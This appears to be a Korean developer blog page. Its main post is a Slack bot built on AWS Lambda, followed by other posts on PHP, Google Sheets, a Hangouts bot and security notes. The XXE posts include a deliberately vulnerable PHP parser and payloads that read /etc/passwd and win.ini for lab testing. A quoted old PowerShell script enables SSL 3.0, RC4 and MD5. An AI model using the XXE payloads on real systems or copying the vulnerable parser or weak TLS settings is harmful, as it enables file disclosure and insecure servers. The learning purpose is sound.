메뉴 건너뛰기

imp

위키백과 QA API X AWS lambda X API Gateway X SLACK

suritam92019.04.05 14:17조회 수 834댓글 0

  • 1
    • 글자 크기

공공 인공지능 오픈 API·DATA 서비스 포털의 위키백과 QA API를 aws 람다로 node.js 를 이용해 slack에서 받을 수 있도록 처리했습니다.

 

전체적인 내용은 https://blog.aliencube.org/ko/2016/05/15/slack-github-integration-with-aws-lambda/ 를 참고하였습니다.

http://www.usefulparadigm.com/2016/04/06/creating-a-slack-bot-with-aws-lambda-and-api-gateway/

https://gist.github.com/sjoonk/20ae13e5cd8be88e9824e3bad11b2859

 

http://aiopen.etri.re.kr/service_list.php 

 

s.png

 

 

exports.handler = (event, context) => {

    // Sets request options

    var options = {

        host: 'aiopen.etri.re.kr',

        port: '8000',

        path: '/WikiQA',

        method: 'POST',

        headers: {

          'Content-Type': 'application/json'

        }

    };

    var access_key = '발급받은키';

    var type = 'irqa';

    // Sets the request body    

    var data = {

        'access_key': access_key,

        'argument': {

            'question': event.text,

            'type': type

        }

    };

    var request = require('http');

    var req = request.request(options, function (res) {

      var chunks = [];

    

      res.on("data", function (chunk) {

        chunks.push(chunk);

      });

    

      res.on("end", function () {

        var body = Buffer.concat(chunks);

        console.log(body.toString());

        body = JSON.parse(body);

        console.log(body.result);

        if(body.result==0){

          var text = body.return_object.WiKiInfo.IRInfo[0].sent;

          var ans = body.return_object.WiKiInfo.AnswerInfo[0].answer;

        }else{

          var text = "없음";

          var ans = event.text;

        }

          context.succeed({

            "response_type": "in_channel",

            "text": "ETRI 위키백과 QA API 결과 : " + ans,

            "attachments": [

                {

                    "text": "https://ko.wikipedia.org/wiki/" + encodeURI(ans) + "\n" + text,

                    "color": "#7CD197"

                }

            ]

          });

      });

    });

    req.write(JSON.stringify(data));

    req.end();

};

 

 

aws gateway 에서 매핑템플릿에 application/x-www-form-urlencoded 를 추가하지 않으면, json 요청 값을 처리할 수 없으니, 꼭 추가하자.

(event undefined)

## convert HTML POST data to JSON
 
## get the raw post data from the AWS built-in variable and give it a nicer name
#set($rawAPIData = $input.path('$'))

## first we get the number of "&" in the string, this tells us if there is more than one key value pair
#set($countAmpersands = $rawAPIData.length() - $rawAPIData.replace("&", "").length())
 
## if there are no "&" at all then we have only one key value pair.
## we append an ampersand to the string so that we can tokenise it the same way as multiple kv pairs.
## the "empty" kv pair to the right of the ampersand will be ignored anyway.
#if ($countAmpersands == 0)
 #set($rawPostData = $rawAPIData + "&")
#end
 
## now we tokenise using the ampersand(s)
#set($tokenisedAmpersand = $rawAPIData.split("&"))
 
## we set up a variable to hold the valid key value pairs
#set($tokenisedEquals = [])
 
## now we set up a loop to find the valid key value pairs, which must contain only one "="
#foreach( $kvPair in $tokenisedAmpersand )
 #set($countEquals = $kvPair.length() - $kvPair.replace("=", "").length())
 #if ($countEquals == 1)
  #set($kvTokenised = $kvPair.split("="))
  #if ($kvTokenised[0].length() > 0)
   ## we found a valid key value pair. add it to the list.
   #set($devNull = $tokenisedEquals.add($kvPair))
  #end
 #end
#end
 
## next we set up our loop inside the output structure "{" and "}"
{
#foreach( $kvPair in $tokenisedEquals )
  ## finally we output the JSON for this pair and append a comma if this isn't the last pair
  #set($kvTokenised = $kvPair.split("="))
 "$util.urlDecode($kvTokenised[0])" : #if($kvTokenised[1].length() > 0)"$util.urlDecode($kvTokenised[1])"#{else}""#end#if( $foreach.hasNext ),#end
#end
}

  • 1
    • 글자 크기
[이클립스] tomcat 404, spring, web API (by suritam9) [R] 도커를 이용한 가상 크롬으로 우분투에서 RSelenium 사용 (by suritam9)

댓글 달기

[PHP] int bufferoverflow

[원문보기]

php bufferoverflow example 로 찾으면 검색되는 코드에서 이해를 위한 코드를 덧붙였다.


PHP_INT_MAX 값은 int 9223372036854775807 이고, 해당 값을 초과하면 9.2233720368548E+18 가 출력된다.


// 초기 값은 최대값에서 6을 뺀 값으로 설정하고, 최대 int 까지 배열 값을 지정했다.

$initval=9223372036854775801;

$arr[9223372036854775801]=1;

$arr[9223372036854775802]=2;

$arr[9223372036854775803]=3;

$arr[9223372036854775804]=4;

$arr[9223372036854775805]=5;

$arr[9223372036854775806]=6;

$arr[9223372036854775807]=7;

$chkval=$_GET["input"];
//입력 값을 chkval 이라는 변수에 할당하고

echo "<br />";
if($initval <= PHP_INT_MAX-$chkval){
echo "sum : ". $max = $initval + $chkval;
}else{
echo "overflow! ". $max = $initval + $chkval;
}
// 최대값을 넘지 않으면 input과 초기값의 합을 출력한다.
// 최대값을 넘으면 overflow 된 값을 출력한다.

echo "<br />";
echo "saved val : ";
echo "<br />";
// 배열값을 잘 참조하는지 참조하지 못한 값이 들어가면 오류가 발생하는 예를 보여주기 위해 각 배열 값을 출력했다.
for($i=0;$i<$chkval;$i++){
echo $initval+$i ." : ". $arr[$initval+$i];
echo "<br />";
}

[not overflow] input is 7
if input > 7 then overflow

sum : 9223372036854775807
saved val :
9223372036854775801 : 1
9223372036854775802 : 2
9223372036854775803 : 3
9223372036854775804 : 4
9223372036854775805 : 5
9223372036854775806 : 6
9223372036854775807 : 7

[overflow] input is 8

overflow! 9.2233720368548E+18
saved val :
9223372036854775801 : 1
9223372036854775802 : 2
9223372036854775803 : 3
9223372036854775804 : 4
9223372036854775805 : 5
9223372036854775806 : 6
9223372036854775807 : 7
9.2233720368548E+18 :

[GS] 구글 스프레드시트에서 ROW 값 얻기

[원문보기]

그동안은 데이터베이스처럼 쓰는 구글 스프레드시트의 업데이트나 행번호 찾기를 위해 =ROW() 를 일일이 넣어줬다.


더 관리하기 편할 수도 있는데, 자동화된 스크립트로 반영해 줘야하는 것이 큰 이슈였다.


MATCH 함수를 이용해 찾고자 하는 행의 번호를 출력하도록 사용했는데, 추후 활용이 될지는 모르겠다.


=IF(IFERROR(MATCH(B2,'시트'!A1:A,0)),MATCH(B2,'시트'!A1:A,0),0)


'시트'라는 시트에 A열에 찾고자 하는 키워드(고유값)가 B2에 있다면, 행번호를 반환하는 수식이다.


이수식은 QUERY를 사용하여 질의하는 환경에서 사용가능하고, 기존 데이터를 출력하는 부분에서는 =ROW() 수식으로 유지하는 것이 더 낫다.


특정 행을 찾아서 지우거나 업데이트, 추가된 값을 넣고자 할 때, 질의되는 키워드를 B2에 넣어 행번호를 찾는 수식이 적용된 셀의 내용을 반환받아 처리할 수 있다. 게시판처럼 활용되거나 고유값을 사용하는(해시로 만들어 넘버링하거나 절대번호가 있는) 환경에서 행 위치에 적용 가능하다.




구글 스프레드시트에서 조건을 찾은 뒤, 특정 컬럼값만 출력하는 것은 이중 query로 처리했다. 조건에 의해 모든 행 레코드를 반환하는데, 컬럼의 이름을 출력하도록 한뒤 transpos 하면 조건이 1컬럼에 위치한 구조가 된다. 1컬럼에 해당하는 where 문을 query로 만들면 해당 행을 찾게되고, 최상위 행에는 최초 query의 조건이 위치되어 다시 transpos 하게 되면 원하는 컬럼만 추출되는 형태이다.


기존 관계형 데이터 베이스에서는 query 를 사용하 각 배열에서 원하는 값만 배열 이름이나 순서로 일일이 출력했는데, GS에서는 이중 쿼리로 일괄 출력이 가능하다. 만일 기존 언어로 처리한다면, 다시 db에 넣고 조건문으로 찾은뒤, 첫번째 조건을 재출력하여 순차적으로 보여주는 방법이 있다.


그런데 그런 방법은 GS에서 LIKE로 찾은 조건에 해당하는 1행이나 별도 변수에 넣고 사용해야하는 복잡함이 있어 동일하게 활용하기는 번거롭다. 정리하면서 GS 만의 특징으로 가능한 출력법에 대해 인지했다.


출력되는 내용이 비교해야하는 상황이라면 복잡한 배열 파싱의 연산을 위한 코드를 작성하지 않고, 간단하게 비교 구문을 추가해 줄 수 있다.


GS 가 해야할 일, 파이선이 해야 할일을 잘 분배하려면 많은 시행착오를 통해 각각의 장점을 파악하는 것이 필요하다.


[1차조건 - 항목](데이터는 지웠다.)

이름일자내용
항목2017. 10. 17 오전 12:00:0016년 1월16년 2월16년 3월16년 4월16년 5월16년 6월16년 7월16년 8월16년 9월16년 10월16년 11월16년 12월17년1월17년2월
항목12017. 10. 17 오전 12:00:00
항목22017. 10. 17 오전 12:00:00


[TRANSPOS]

항목항목1항목2
2017. 10. 17 오전 12:00:002017. 10. 17 오전 12:00:002017. 10. 17 오전 12:00:00
16년 1월
%
16년 2월
%
16년 3월
%
16년 4월
%
16년 5월
%
16년 6월
%
16년 7월
%
16년 8월
%
16년 9월
%
16년 10월
%
16년 11월
%
16년 12월
0%
17년1월
%
17년2월
1%
17년3월
%
17년4월
%


[2차 조건 - 2월]

항목항목1항목2
16년 2월13%
16년 12월60%
17년2월31%


[TRANSPOS]

항목16년 2월16년 12월17년2월
항목1163
항목23%0%1%



2월 조건에 12월도 걸려 버렸지만, 이를 잘 예외처리하면 16년 2월과 17년 2월의 비교를 아주 간단히 처리할 수 있다.


[GS] Go To Lastrow Ctrl+↓

[원문보기]

구글 스프레드시트에서 마지막 행으로 이동하는 방법은 단축키로 가능하다.


그러나 단축키에 익숙하지 않다면 구글 스크립트를 메뉴에 등록해 놓고 사용하도록 세팅해 놓는 것이 정신 건강에 좋을 때도 있다.


현재 선택된 시트에서 가장 아래 행으로 이동하는 스크립트이다.


많이 쓰는 기능이므로 잘 보이는 곳에 적어두면 찾기 쉽다.


function myFunction() {

  var sh = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();

  var lr = sh.getLastRow();

  var pos = sh.getRange(lr, 1, 1, 1);

  sh.setActiveSelection(pos);

}

function onOpen() {

  var ui = SpreadsheetApp.getUi();

  // Or DocumentApp or FormApp.

  ui.createMenu('MITLab')

      .addItem('아래로 이동(Ctrl+↓)', 'myFunction')

      .addToUi();

}

[PHP] XXE(XML eXternal Entity) 테스트 코드

[원문보기]
일반적으로 잘못 구성된 XML Parser 를 사용하여 신뢰할 수 없는 XML 공격 코드을 주입시켜 실행시키는 응용 프로그램에 대한 공격
해당 공격을 통해서 주요 시스템 파일 접근(LFI)이나 외부 악의 적인 파일 참조(RFI)가 가능

보통 XML Parser 설정에서 External Entity 사용을 금지시키지 않아 발생 

<html>
<body>
<meta charset='utf-8'/>
<?php
if (function_exists('libxml_disable_entity_loader')) {
    libxml_disable_entity_loader(false);
}
$xml=$_POST['xml'];
if($xml){
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
}
?>
<form method="post">
<textarea name="xml" rows="12" cols="100">
<?php
echo $xml;
?>
</textarea>
<input type="submit">
</form>
<?php
echo $doc;
?>
</html>

<!DOCTYPE test[
<!ENTITY testtest SYSTEM "file:///etc/passwd">
]>
<result>&testtest;</result>

<!DOCTYPE test[
<!ENTITY testtest "XXE SUCCESS">
]>
<result>&testtest;</result>

from http://securitynote.tistory.com/4
https://stackoverflow.com/questions/29811915/external-entities-not-working-in-simplexml

방어코드
if(preg_match("/<!DOCTYPE/i", $xml))
{
throw new InvalidArgumentException('Invalid XML: Detected use of illegal DOCTYPE');
}

from http://blog.naver.com/PostView.nhn?blogId=koromoon&logNo=120208853424&parentCategoryNo=&categoryNo=15&viewDate=&isShowPopularPosts=false&from=postView

[bWAPP] XML External Entity Attacks (XXE)

[원문보기]
LFI(Local File Inclusion)
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///windows/win.ini">
]><reset><login>&bWAPP;</login><secret>Any bugs?</secret></reset>

윈도우의 경우 위와 같이 입력하면, 파일 내용 열람이 가능하다.

RFI(Remote File Inclusion) 는 서버 설정으로 allow_url_fopen = on allow_url_include = on 이 필요하다.
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://원격주소">
]><result>&bWAPP;</result>

The HackPot : XML External Enitity (XXE) Injection
http://thehackpot.blogspot.com/2014/05/xml-external-enitity-xxe-injection.html?m=1

윈도우(PHP 5.212)는 별 이상이 없는데, linux 서버(PHP 7)에서는 오류가 발생한다.

simplexml_load_string 함수를 호출할 때, $xml = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);

옵션을 주는 방식으로 하면 오류를 제거할 수 있다.

ent.jpg

[pull챗봇] 행아웃 X Google Spreadsheet with Apps script

[원문보기]
구글의 예제코드는 공개되어 있으며, 단순 응답으로 되어 있다.
 
구글 앱스 스크립트(GS)를 주로 스프레드 열람 등에 썼기 때문에, 특정 시트 값을 가져오는 것은 너무나 익숙하다.
 
 /**
 * Responds to a MESSAGE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onMessage(event) {
  var name = "";
  if (event.space.type == "DM") {
    name = "You2";
  } else {
    name = event.user.displayName;
  }
  var ss = SpreadsheetApp.openById("시트ID");
  var s1 = ss.getSheetByName("시트2");
  var r1 = s1.getRange(2, 1, 3, 4);
  var v1 = r1.getValues();
  var message = name + " said "" + event.message.text + """;
  message = message + v1.join(" ");
  return { "text": message };
}
/**
 * Responds to an ADDED_TO_SPACE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onAddToSpace(event) {
  var message = "";
  if (event.space.type == "DM") {
    message = "Thank you for adding me to a DM, " + event.user.displayName + "!";
  } else {
    message = "Thank you for adding me to " + event.space.displayName;
  }
  return { "text": message };
}
/**
 * Responds to a REMOVED_FROM_SPACE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onRemoveFromSpace(event) {
  console.info("Bot removed from ", event.space.name);
}
 
다른 점은 배포 방식인데, 매니페스트에서 배포를 선택해야 한다.
 
re.jpg

 

 
배포된 ID를 구글 클라우드 콘솔에서 Hangouts Chat API 구성에 추가한다.
 
id.jpg

 

[구글 클라우드 콘솔 Hangouts Chat API 구성]
cons.jpg

 

 
해당 작업이 완료되면 채팅방에서 봇에게 말을 걸도록 추가해 줘야 한다.
 
기존 행아웃이 아닌 chat.google.com 으로 진행해야 하며, 모바일 앱 역시 행아웃 채팅이란 앱을 설치해야 한다.
 
좌측 상단의 사용자, 채팅방, 봇 찾기를 누르고 설정한 이름이 정상적으로 보이면 성공한 것이다.
 
스프레드시트 열람 권한을 얻는 것까지 절차를 거치면, 봇에게 스프레드시트의 내용을 보여주도록 할 수 있다.
 
1.jpg

 

 
hc.jpg

 

  

[SSL] SSL 설정 파워쉘 스크립트

[원문보기]

4년 전 거라 조금 수정이 필요한 부분이 있다.

 

키 교환의 Diffie-Hellman는 0000000000 으로 

 

TLS 1.3의 출시로 SSL ROBOT이 주목되는지는 모르겠지만, 키 교환과 암호화 방식, 검증 방식에 대해 가장 잘 설명된 그림을 찾았다.

 

2017-07-29_14-29-10.png

 

 

rsa.jpg

 

 

윈도우즈 설정 참고 사이트

https://support.microsoft.com/ko-kr/help/245030/how-to-restrict-the-use-of-certain-cryptographic-algorithms-and-protoc

 

TLS 1.0과 RSA가 키교환 알고리즘으로 사용되는 서버의 예이다.

 

아래 파워쉘 스크립트를 이용해 설정을 보완할 수 있는데, 선택적으로 필요한 것을 적용하면, 취약점 제거에 용이할 것이다.

 

공개 키 암호 표준(Public-Key Cryptography Standard, PKCS)은 RSA 시큐리티에서 정한, 공개 키 암호에 대한 사용 방식에 대한 표준 프로토콜이다.

md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0x00000000' -PropertyType 'DWord' -Force

 

$cipherSuitesOrder = @(  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256',  'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256','TLS_RSA_WITH_AES_256_CBC_SHA256','TLS_RSA_WITH_AES_256_CBC_SHA','TLS_RSA_WITH_AES_128_CBC_SHA256','TLS_RSA_WITH_AES_128_CBC_SHA')

$cipherSuitesAsString = [string]::join(',', $cipherSuitesOrder)

New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value $cipherSuitesAsString -PropertyType 'String' -Force | Out-Null

 

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0x00000000' -PropertyType 'DWord' -Force

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force

 

 

기존 파워쉘 스크립트는 오래되어 수정이 필요하다.

 

https://gist.github.com/matejskubic/10268126

 

 

### http://www.hass.de/content/setup-your-iis-ssl-perfect-forward-secrecy-and-tls-12

# Add and Enable SSL 3.0 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.0 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.1 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.2 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Disable Multi-Protocol Unified Hello
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable PCT 1.0
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable SSL 2.0 (PCI Compliance)
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
#DO NOT USE FOR NOW
#
# WARNING: Notice I didn't turn off SSL 3.0 - the reason for this is due to the fact that, like it or not, 
# there are still people out there using Windows XP with IE 6/7. Without SSL 3.0 enabled, there would be 
# no protocol for those people to fall back on.
# Disable SSL 3.0 (PCI Compliance)
#
#md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force
#New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable insecure ciphers
$insecureCiphers = 'NULL','RC2 40/128','RC2 56/128','RC2 128/128','RC4 40/128','RC4 56/128','RC4 64/128','DES 56/56'
Foreach ($insecureCipher in $insecureCiphers) {
  $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher)
  $key.SetValue('Enabled', 0, 'DWord')
  $key.close()
  Write-Host "$insecureCipher has been disabled"
}
 
# Enable new secure ciphers
$insecureCiphers = 'RC4 128/128','Triple DES 168/168','AES 128/128','AES 256/256'
Foreach ($insecureCipher in $insecureCiphers) {
  $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher)
  New-ItemProperty -path "HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers$insecureCipher" -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
  $key.close()
  Write-Host "$insecureCipher has been enabled"
}
 
# Set hashes configuration
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
# Set KeyExchangeAlgorithms configuration
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
# Set cipher suites order as secure as possible (Enables Perfect Forward Secrecy)
New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA,TLS_DHE_DSS_WITH_AES_128_CBC_SHA256,TLS_DHE_DSS_WITH_AES_128_CBC_SHA,TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_3DES_EDE_CBC_SHA' -PropertyType 'String' -Force
 
 
Write-Host 'After the system has been rebooted you can verify your server configuration at https://www.ssllabs.com/ssltest/'
Write-Host -ForegroundColor Red 'A computer restart is required to apply settings. Restart computer now?'
Restart-Computer -Force -Confirm

[GS] 다중 행에 사용자 정의 함수 사용

[원문보기]

사용자 정의 함수는 gs 파일에 선언하여 사용 가능하다.


그런데, 그 호출 횟수가 너무 늘어나게 되면, Loading 이라고 표시되며 제대로 실행되지 않는다.


이럴 때, 최상단에 사용자 정의함수를 재정의하여 다중 행을 처리할 수 있는 선언을 사용할 수 있다.


원래 아래 함수는 dtr2 부분에 eval로 되어 있었고, 이름으 doEval인 함수였다.(인터넷 예제)

function dtr( formula ) {

if (typeof formula.map === "function") {

return formula.map(dtr);

}else if(formula){

return dtr2(formula);

}

}


